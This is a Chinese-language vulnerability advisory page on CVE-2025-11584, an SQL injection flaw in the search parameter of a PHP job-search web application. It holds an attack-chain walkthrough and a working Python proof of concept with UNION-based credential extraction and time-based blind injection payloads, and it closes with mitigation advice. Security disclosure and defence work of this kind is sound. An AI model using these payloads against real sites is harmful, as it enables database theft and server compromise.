IPBUF安全漏洞报告
English
CVE-2025-11584 CVSS 7.3 高危

CVE-2025-11584:Online Job Search Engine 1.0 SQL注入漏洞

披露日期: 2025-10-10

漏洞信息

漏洞编号
CVE-2025-11584
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Job Search Engine

相关标签

SQL注入CVE-2025-11584code-projectsOnline Job Search Enginesearchjob.phptxtspecializationWeb应用漏洞高危漏洞远程利用PHP

漏洞概述

CVE-2025-11584是code-projects公司开发的Online Job Search Engine(在线求职搜索引擎)1.0版本中存在的一个高危SQL注入漏洞。该漏洞于2025年10月10日由VulDB社区的[email protected]发现并公开披露。该漏洞存在于Web应用程序的/searchjob.php文件中,具体位于对用户输入参数txtspecialization的处理逻辑中。由于该参数在拼接到SQL查询语句之前未进行充分的输入验证和参数化处理,攻击者可以通过精心构造恶意SQL语句作为参数值,实现对后端数据库的非法操作。

该漏洞的CVSS 3.1评分为7.3分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何权限(PR:N)和用户交互(UI:N),表明该漏洞极易被远程攻击者利用。虽然该漏洞对机密性、完整性和可用性的影响均为低级别(C:L/I:L/A:L),但SQL注入漏洞通常可作为进一步渗透攻击的跳板,例如提取数据库中的敏感信息、绕过认证、写入Webshell或执行系统命令等,因此实际危害可能远超CVSS评分所反映的级别。

该漏洞的利用代码已被公开发布在GitHub等平台上,攻击者可以轻易获取并利用。Online Job Search Engine作为一款面向求职者的Web应用,通常存储大量用户个人信息、简历数据和招聘方资料,一旦数据库被攻破,将造成严重的用户隐私泄露和数据安全问题。

技术细节

该SQL注入漏洞的根本原因在于/searchjob.php文件中对txtspecialization参数的处理逻辑缺乏安全防护。当用户在搜索框中输入职位专业类别(specialization)进行职位搜索时,前端将该值通过GET或POST请求传递到服务器端,服务器端在未对输入进行充分过滤、转义或参数化处理的情况下,直接将其拼接到SQL查询语句中执行。

具体技术原理如下:

1. **输入点识别**:漏洞入口为/searchjob.php文件中的txtspecialization参数。该参数接收用户提交的搜索关键词,用于在数据库中匹配对应的职位专业类别。

2. **注入原理**:原始SQL查询语句可能形如:`SELECT * FROM jobs WHERE specialization LIKE '%{txtspecialization}%'`。由于未使用预处理语句(Prepared Statements)或参数化查询,攻击者可以通过闭合单引号并附加恶意SQL片段来改变查询逻辑,例如输入`' UNION SELECT username,password FROM users-- -`,从而执行任意SQL语句。

3. **利用方式**:
- **联合查询注入(UNION-based)**:通过UNION SELECT语句获取数据库中的其他表数据
- **布尔盲注(Boolean-based Blind)**:通过观察页面返回结果的差异逐字符提取数据
- **时间盲注(Time-based Blind)**:通过SLEEP()等函数造成的响应延迟判断条件真假
- **报错注入(Error-based)**:利用数据库错误信息直接获取数据

4. **攻击影响**:成功利用该漏洞后,攻击者可以读取数据库中所有数据(包括用户凭证、个人信息等),修改或删除数据库内容,甚至在特定条件下通过MySQL的INTO OUTFILE或LOAD_FILE()函数读写服务器文件系统,进一步实现远程代码执行。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别目标部署了code-projects Online Job Search Engine 1.0,并定位到/searchjob.php端点。
STEP 2
步骤2:漏洞探测
攻击者向/searchjob.php的txtspecialization参数提交特殊构造的SQL注入测试payload(如单引号、'OR '1'='1等),通过观察页面响应内容、状态码或响应时间判断漏洞是否存在。
STEP 3
步骤3:漏洞确认
通过注入测试payload确认存在SQL注入漏洞后,攻击者根据目标数据库类型(MySQL)选择合适的注入技术(联合查询、布尔盲注、时间盲注等)。
STEP 4
步骤4:数据提取
利用UNION SELECT等SQL注入技术,攻击者枚举数据库中的表名、列名,并提取用户凭证、个人信息等敏感数据。
STEP 5
步骤5:权限提升与持久化
在获取数据库管理员权限后,攻击者可能通过INTO OUTFILE写入Webshell,或利用数据库特性实现远程代码执行,最终获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11584 - SQL Injection PoC for Online Job Search Engine 1.0 # Vulnerable file: /searchjob.php # Vulnerable parameter: txtspecialization import requests import sys TARGET_URL = "http://target.com/searchjob.php" def test_sql_injection(target_url): """Test for SQL injection vulnerability in txtspecialization parameter""" # Basic SQL injection test payloads payloads = [ "' OR '1'='1", "' OR '1'='1' -- ", "' UNION SELECT 1,2,3,4,5-- ", "' UNION SELECT username,password,3,4,5 FROM users-- ", "1' AND (SELECT SLEEP(5))-- ", "' AND 1=CONVERT(int,(SELECT @@version))-- " ] for payload in payloads: params = {"txtspecialization": payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Payload: {payload}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for SQL error messages sql_errors = ["SQL syntax", "MySQL", "mysql_fetch", "Warning", "error in your SQL"] for error in sql_errors: if error.lower() in response.text.lower(): print(f"[+] SQL Error detected: {error}") print(f"[+] VULNERABLE to SQL injection!") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def exploit_union_based(target_url, table_name="users", column_count=5): """Exploit using UNION-based SQL injection to extract data""" # Build UNION SELECT payload columns = ",".join([str(i) for i in range(1, column_count + 1)]) payload = f"' UNION SELECT {columns} FROM {table_name}-- -" params = {"txtspecialization": payload} response = requests.get(target_url, params=params, timeout=10) print(f"[+] Extracting data from {table_name}...") print(response.text) return response.text def exploit_time_based(target_url, query="SELECT @@version"): """Exploit using time-based blind SQL injection""" payload = f"1' AND IF(1=1,SLEEP(5),0)-- " import time start_time = time.time() params = {"txtspecialization": payload} response = requests.get(target_url, params=params, timeout=15) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Time-based injection confirmed (delay: {elapsed:.2f}s)") return True return False if __name__ == "__main__": url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] Testing SQL injection on: {url}") if test_sql_injection(url): print("[+] Target is vulnerable!") # Uncomment to extract data # exploit_union_based(url) # exploit_time_based(url) else: print("[-] Target may not be vulnerable or payload needs adjustment") # Usage: python poc.py http://target.com/searchjob.php # Manual test URL: # http://target.com/searchjob.php?txtspecialization=' OR '1'='1

影响范围

code-projects Online Job Search Engine 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)在Web服务器层面部署WAF规则,阻断包含SQL关键字(如UNION、SELECT、SLEEP等)的恶意请求;2)通过修改/searchjob.php源代码,对txtspecialization参数进行严格的输入过滤,仅允许字母、数字和有限的特殊字符;3)临时禁用搜索功能或限制搜索功能的使用范围;4)监控数据库访问日志,识别异常的SQL查询行为;5)将数据库账户权限降至最低,限制其对敏感表和操作的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表